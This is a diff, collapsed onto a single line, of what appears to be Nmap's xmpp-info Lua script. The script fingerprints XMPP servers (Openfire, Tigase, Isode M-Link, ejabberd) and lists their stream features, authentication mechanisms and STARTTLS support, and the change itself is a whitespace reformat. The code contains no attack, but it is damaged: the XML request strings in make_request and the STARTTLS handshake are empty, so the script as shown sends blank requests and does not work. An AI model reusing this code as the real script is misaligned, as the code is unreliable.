+ }, - { - --5f049d72 - --3b5b40b - regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$', - regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$', - name = 'Openfire' - }, + { + --5f049d72 + --3b5b40b + regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$', + regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$', + name = 'Openfire' + }, - { - --c7cd895f-e006-473b-9623-c0aae85f17fc - --tigase-error-tigase - regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. - string.rep('[0-9a-f]', 4) .. '[-]' .. - string.rep('[0-9a-f]', 4) .. '[-]' .. - string.rep('[0-9a-f]', 4) .. '[-]' .. - string.rep('[0-9a-f]', 12) .. '$', - regexp2 = '^tigase[-]error[-]tigase$', - name = 'Tigase' - }, - { - -- tigase.org (in case of bad DNS name): - --tigase-error-tigase - --tigase-error-tigase - regexp1 = '^tigase[-]error[-]tigase$', - regexp2 = '^tigase[-]error[-]tigase$', - name = 'Tigase' - }, + { + --c7cd895f-e006-473b-9623-c0aae85f17fc + --tigase-error-tigase + regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. + string.rep('[0-9a-f]', 4) .. '[-]' .. + string.rep('[0-9a-f]', 4) .. '[-]' .. + string.rep('[0-9a-f]', 4) .. '[-]' .. + string.rep('[0-9a-f]', 12) .. '$', + regexp2 = '^tigase[-]error[-]tigase$', + name = 'Tigase' + }, + { + -- tigase.org (in case of bad DNS name): + --tigase-error-tigase + --tigase-error-tigase + regexp1 = '^tigase[-]error[-]tigase$', + regexp2 = '^tigase[-]error[-]tigase$', + name = 'Tigase' + }, - { - --4c9e369a841db417 - --fc0a60b82275289e - regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', - regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$', - name = 'Isode M-Link' - }, + { + --4c9e369a841db417 + --fc0a60b82275289e + regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', + regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$', + name = 'Isode M-Link' + }, - { - regexp1 = "^c2s_", - regexp2 = "^c2s_", - name = 'VKontakte/XMPP' - } + { + regexp1 = "^c2s_", + regexp2 = "^c2s_", + name = 'VKontakte/XMPP' + } } local receive_tag = function(conn) - local status, data = conn:receive_buf(">", true) - if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end - return status and xmpp.XML.parse_tag(data) + local status, data = conn:receive_buf(">", true) + if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end + return status and xmpp.XML.parse_tag(data) end local log_tag = function(tag) - stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name) - stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish)) - stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty)) - stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents) + stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name) + stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish)) + stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty)) + stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents) end local make_request = function(server_name, xmlns) - local request = "" - return request + local request = "" + return request end local connect_tls = function(s, xmlns, server_name) - local request = make_request(server_name, xmlns) - request = request .. "" - s:send(request) - while true do - local tag = receive_tag(s) - if not tag then break end - log_tag(tag) - if tag.name == "proceed" and tag.finish then - local status, error = s:reconnect_ssl() - if status then return true end - break - elseif tag.name == "failure" then - return false - end + local request = make_request(server_name, xmlns) + request = request .. "" + s:send(request) + while true do + local tag = receive_tag(s) + if not tag then break end + log_tag(tag) + if tag.name == "proceed" and tag.finish then + local status, error = s:reconnect_ssl() + if status then return true end + break + elseif tag.name == "failure" then + return false end + end end local scan = function(host, port, server_name, tls) - local data, status - local client = nmap.new_socket() - local tls_text - local stream_id + local data, status + local client = nmap.new_socket() + local tls_text + local stream_id - -- Looks like 10 seconds is enough for non RFC-compliant servers... - client:set_timeout(10 * 1000); + -- Looks like 10 seconds is enough for non RFC-compliant servers... + client:set_timeout(10 * 1000); - local caps = stdnse.output_table() - local err = {} - local features_list = {} - local mechanisms = {} - local methods = {} - local unknown = {} - local t_xmpp = stdnse.output_table() + local caps = stdnse.output_table() + local err = {} + local features_list = {} + local mechanisms = {} + local methods = {} + local unknown = {} + local t_xmpp = stdnse.output_table() - local xmlns - stdnse.print_debug(port.version.name) - if port.version.name == 'xmpp-client' then - xmlns = "'jabber:client'" + local xmlns + stdnse.print_debug(port.version.name) + if port.version.name == 'xmpp-client' then + xmlns = "'jabber:client'" + else + xmlns = "'jabber:server'" + end + if tls then tls_text = ", tls" else tls_text = "" end + stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text) + + status, data = client:connect(host, port) + if not status then + client:close() + return + end + if tls and not connect_tls(client, xmlns, server_name) then + client:close() + return + end + + local request = make_request(server_name, xmlns) + + if not client:send(request) then + client:close() + return + end + + local tag_stack = {} + table.insert(tag_stack, "") + local _inside = function(...) + local v = select('#',...) + for n = 1, v do + local e = select(v - n + 1,...) + if e ~= tag_stack[#tag_stack - n + 1] then return nil end + end + return true + end + local inside = function(...) return _inside('stream:features', ...) end + + local is_starttls, tls_required, in_error, got_text + while true do + local tag = receive_tag(client) + if not tag then + table.insert(err, "(timeout)") + break + end + log_tag(tag) + if tag.name == "stream:features" and tag.finish then + break + end + + if inside() and not known_features[tag.name] then + stdnse.print_debug(tag.name) + table.insert(unknown, tag.name) + end + + if tag.name == "stream:stream" and tag.start then + --http://xmpp.org/extensions/xep-0198.html#ns + if tag.attrs['xmlns:ack'] and + tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then + table.insert(t_xmpp, "Stream Management") + end + if tag.attrs['xml:lang'] then + t_xmpp["lang"] = tag.attrs['xml:lang'] + end + if tag.attrs.from and tag.attrs.from ~= server_name then + t_xmpp["server name"] = tag.attrs.from + end + + stream_id = tag.attrs.id + + if tag.attrs.version then + t_xmpp["version"] = tag.attrs.version + else + -- Alarm! Not an RFC-compliant server... + -- sample: chirimoyas.es + t_xmpp["version"] = "(none)" + end + end + + if tag.name == "sm" and tag.start and inside() then + stdnse.print_debug("OK") + --http://xmpp.org/extensions/xep-0198.html + --sample: el-tramo.be + local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)") + table.insert(features_list, 'Stream management v' .. version) + end + + if tag.name == "starttls" and inside() then + is_starttls = true + elseif tag.name == "address" and tag.finish and inside() then + --http://delta.affinix.com/specs/xmppstream.html + table.insert(features_list, "MY IP: " .. tag.contents ) + elseif tag.name == "ver" and inside() then + --http://xmpp.org/extensions/xep-0237.html + table.insert(features_list, "Roster Versioning") + elseif tag.name == "dialback" and inside() then + --http://xmpp.org/extensions/xep-0220.html + table.insert(features_list, "Server Dialback") + elseif tag.name == "session" and inside() then + --http://www.ietf.org/rfc/rfc3921.txt + table.insert(features_list, "IM Session Establishment") + elseif tag.name == "bind" and inside() then + --http://www.ietf.org/rfc/rfc3920.txt + table.insert(features_list, "Resource Binding") + elseif tag.name == "amp" and inside() then + --http://xmpp.org/extensions/xep-0079.html + table.insert(features_list, "Advanced Message Processing") + elseif tag.name == "register" and inside() then + --http://xmpp.org/extensions/xep-0077.html + --sample: jabber.ru + table.insert(features_list, "In-Band Registration") + elseif tag.name == "auth" and inside() then + --http://xmpp.org/extensions/xep-0078.html + table.insert(mechanisms, "Non-SASL") + elseif tag.name == "required" and inside('starttls') then + tls_required = true + elseif tag.name == "method" and inside('compression', 'method') then + --http://xmpp.org/extensions/xep-0138.html + if tag.finish then + table.insert(methods, tag.contents) + end + elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then + if tag.finish then + table.insert(mechanisms, tag.contents) + end + elseif tag.name == "c" and inside() then + --http://xmpp.org/extensions/xep-0115.html + --sample: jabber.ru + if tag.attrs and tag.attrs.node then + caps["node"] = tag.attrs.node + + -- It is a table of well-known node values of "c" tag + -- If it matched then the server software is determined + --TODO: Add more hints + -- I cannot find any non-ejabberd public server publishing its :( + local hints = { + ["http://www.process-one.net/en/ejabberd/"] = "ejabberd" + } + local hint = hints[tag.attrs.node] + if hint then + port.state = "open" + port.version.product = hint + port.version.name_confidence = 10 + nmap.set_port_version(host, port) + end + + -- Funny situation: we have a hash of server capabilities list, + -- but we cannot explicitly ask him about the list because we have no name before the authentication. + -- The ugly solution is checking the hash against the most popular capability sets... + caps["ver"] = tag.attrs.ver + end + end + + if tag.name == "stream:error" then + if tag.start then + in_error = tag.start + elseif not got_text then -- non-RFC compliant server! + if tag.contents ~= "" then + table.insert(err, {text= tag.contents}) + end + in_error = false + end + elseif in_error then + if tag.name == "text" then + if tag.finish then + got_text = true + table.insert(err, {text= tag.contents}) + end + else + table.insert(err, tag.name) + end + end + + if tag.start and not tag.finish then + table.insert(tag_stack, tag.name) + elseif not tag.start and tag.finish and #tag_stack > 1 then + table.remove(tag_stack, #tag_stack) + end + end + + if is_starttls then + if tls_required then + table.insert(features_list, "TLS (required)") else - xmlns = "'jabber:server'" + table.insert(features_list, "TLS") end - if tls then tls_text = ", tls" else tls_text = "" end - stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text) + end - status, data = client:connect(host, port) - if not status then - client:close() - return - end - if tls and not connect_tls(client, xmlns, server_name) then - client:close() - return - end - - local request = make_request(server_name, xmlns) - - if not client:send(request) then - client:close() - return - end - - local tag_stack = {} - table.insert(tag_stack, "") - local _inside = function(...) - local v = select('#',...) - for n = 1, v do - local e = select(v - n + 1,...) - if e ~= tag_stack[#tag_stack - n + 1] then return nil end - end - return true - end - local inside = function(...) return _inside('stream:features', ...) end - - local is_starttls, tls_required, in_error, got_text - while true do - local tag = receive_tag(client) - if not tag then - table.insert(err, "(timeout)") - break - end - log_tag(tag) - if tag.name == "stream:features" and tag.finish then - break - end - - if inside() and not known_features[tag.name] then - stdnse.print_debug(tag.name) - table.insert(unknown, tag.name) - end - - if tag.name == "stream:stream" and tag.start then - --http://xmpp.org/extensions/xep-0198.html#ns - if tag.attrs['xmlns:ack'] and - tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then - table.insert(t_xmpp, "Stream Management") - end - if tag.attrs['xml:lang'] then - t_xmpp["lang"] = tag.attrs['xml:lang'] - end - if tag.attrs.from and tag.attrs.from ~= server_name then - t_xmpp["server name"] = tag.attrs.from - end - - stream_id = tag.attrs.id - - if tag.attrs.version then - t_xmpp["version"] = tag.attrs.version - else - -- Alarm! Not an RFC-compliant server... - -- sample: chirimoyas.es - t_xmpp["version"] = "(none)" - end - end - - if tag.name == "sm" and tag.start and inside() then - stdnse.print_debug("OK") - --http://xmpp.org/extensions/xep-0198.html - --sample: el-tramo.be - local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)") - table.insert(features_list, 'Stream management v' .. version) - end - - if tag.name == "starttls" and inside() then - is_starttls = true - elseif tag.name == "address" and tag.finish and inside() then - --http://delta.affinix.com/specs/xmppstream.html - table.insert(features_list, "MY IP: " .. tag.contents ) - elseif tag.name == "ver" and inside() then - --http://xmpp.org/extensions/xep-0237.html - table.insert(features_list, "Roster Versioning") - elseif tag.name == "dialback" and inside() then - --http://xmpp.org/extensions/xep-0220.html - table.insert(features_list, "Server Dialback") - elseif tag.name == "session" and inside() then - --http://www.ietf.org/rfc/rfc3921.txt - table.insert(features_list, "IM Session Establishment") - elseif tag.name == "bind" and inside() then - --http://www.ietf.org/rfc/rfc3920.txt - table.insert(features_list, "Resource Binding") - elseif tag.name == "amp" and inside() then - --http://xmpp.org/extensions/xep-0079.html - table.insert(features_list, "Advanced Message Processing") - elseif tag.name == "register" and inside() then - --http://xmpp.org/extensions/xep-0077.html - --sample: jabber.ru - table.insert(features_list, "In-Band Registration") - elseif tag.name == "auth" and inside() then - --http://xmpp.org/extensions/xep-0078.html - table.insert(mechanisms, "Non-SASL") - elseif tag.name == "required" and inside('starttls') then - tls_required = true - elseif tag.name == "method" and inside('compression', 'method') then - --http://xmpp.org/extensions/xep-0138.html - if tag.finish then - table.insert(methods, tag.contents) - end - elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then - if tag.finish then - table.insert(mechanisms, tag.contents) - end - elseif tag.name == "c" and inside() then - --http://xmpp.org/extensions/xep-0115.html - --sample: jabber.ru - if tag.attrs and tag.attrs.node then - caps["node"] = tag.attrs.node - - -- It is a table of well-known node values of "c" tag - -- If it matched then the server software is determined - --TODO: Add more hints - -- I cannot find any non-ejabberd public server publishing its :( - local hints = { - ["http://www.process-one.net/en/ejabberd/"] = "ejabberd" - } - local hint = hints[tag.attrs.node] - if hint then - port.state = "open" - port.version.product = hint - port.version.name_confidence = 10 - nmap.set_port_version(host, port) - end - - -- Funny situation: we have a hash of server capabilities list, - -- but we cannot explicitly ask him about the list because we have no name before the authentication. - -- The ugly solution is checking the hash against the most popular capability sets... - caps["ver"] = tag.attrs.ver - end - end - - if tag.name == "stream:error" then - if tag.start then - in_error = tag.start - elseif not got_text then -- non-RFC compliant server! - if tag.contents ~= "" then - table.insert(err, {text= tag.contents}) - end - in_error = false - end - elseif in_error then - if tag.name == "text" then - if tag.finish then - got_text = true - table.insert(err, {text= tag.contents}) - end - else - table.insert(err, tag.name) - end - end - - if tag.start and not tag.finish then - table.insert(tag_stack, tag.name) - elseif not tag.start and tag.finish and #tag_stack > 1 then - table.remove(tag_stack, #tag_stack) - end - end - - if is_starttls then - if tls_required then - table.insert(features_list, "TLS (required)") - else - table.insert(features_list, "TLS") - end - end - - return { - stream_id=stream_id, - xmpp=t_xmpp, - features=features_list, - capabilities=caps, - compression_methods=methods, - auth_mechanisms=mechanisms, - errors=err, - unknown=unknown, - } + return { + stream_id=stream_id, + xmpp=t_xmpp, + features=features_list, + capabilities=caps, + compression_methods=methods, + auth_mechanisms=mechanisms, + errors=err, + unknown=unknown, + } end local server_info = function(host, port, id1, id2) - for s, v in pairs(id_database) do - if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and - ((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then - if not v.check or v.check(id1, id2) then - stdnse.print_debug("MATCHED") - port.version.product = v.name - stdnse.print_debug(" " .. v.name) - port.version.name_confidence = 6 - nmap.set_port_version(host, port) - break - end - end + for s, v in pairs(id_database) do + if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and + ((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then + if not v.check or v.check(id1, id2) then + stdnse.print_debug("MATCHED") + port.version.product = v.name + stdnse.print_debug(" " .. v.name) + port.version.name_confidence = 6 + nmap.set_port_version(host, port) + break + end end + end end local factor = function( t1, t2 ) @@ -537,42 +537,42 @@ end portrule = shortport.port_or_service({5222, 5269}, {"jabber", "xmpp-client", "xmpp-server"}) action = function(host, port) - local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name - local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "." - local tls_result - local starttls_failed + local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name + local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "." + local tls_result + local starttls_failed - stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name) + stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name) - local altname_result = scan(host, port, alt_server_name, false) + local altname_result = scan(host, port, alt_server_name, false) - local plain_result = scan(host, port, server_name, false) + local plain_result = scan(host, port, server_name, false) - server_info(host, port, altname_result["stream_id"], plain_result["stream_id"]) + server_info(host, port, altname_result["stream_id"], plain_result["stream_id"]) - if not stdnse.get_script_args("xmpp-info.no_starttls") then - tls_result = scan(host, port, server_name, true) - if not tls_result then starttls_failed = 1 end - end + if not stdnse.get_script_args("xmpp-info.no_starttls") then + tls_result = scan(host, port, server_name, true) + if not tls_result then starttls_failed = 1 end + end - local r = stdnse.output_table() + local r = stdnse.output_table() - if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then - table.insert(r, "Ignores server name") - elseif #altname_result["errors"] ~= #plain_result["errors"] then - table.insert(r, "Respects server name") - end + if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then + table.insert(r, "Ignores server name") + elseif #altname_result["errors"] ~= #plain_result["errors"] then + table.insert(r, "Respects server name") + end - if not tls_result then - if starttls_failed then table.insert(r, "STARTTLS Failed") end - r["info"] = plain_result - else - local i,p,t = factor(plain_result, tls_result) - r["info"] = (#i and i) or nil - r["pre_tls"] = (#p and p) or nil - r["post_tls"] = (#t and t) or nil - end + if not tls_result then + if starttls_failed then table.insert(r, "STARTTLS Failed") end + r["info"] = plain_result + else + local i,p,t = factor(plain_result, tls_result) + r["info"] = (#i and i) or nil + r["pre_tls"] = (#p and p) or nil + r["post_tls"] = (#t and t) or nil + end - return r + return r end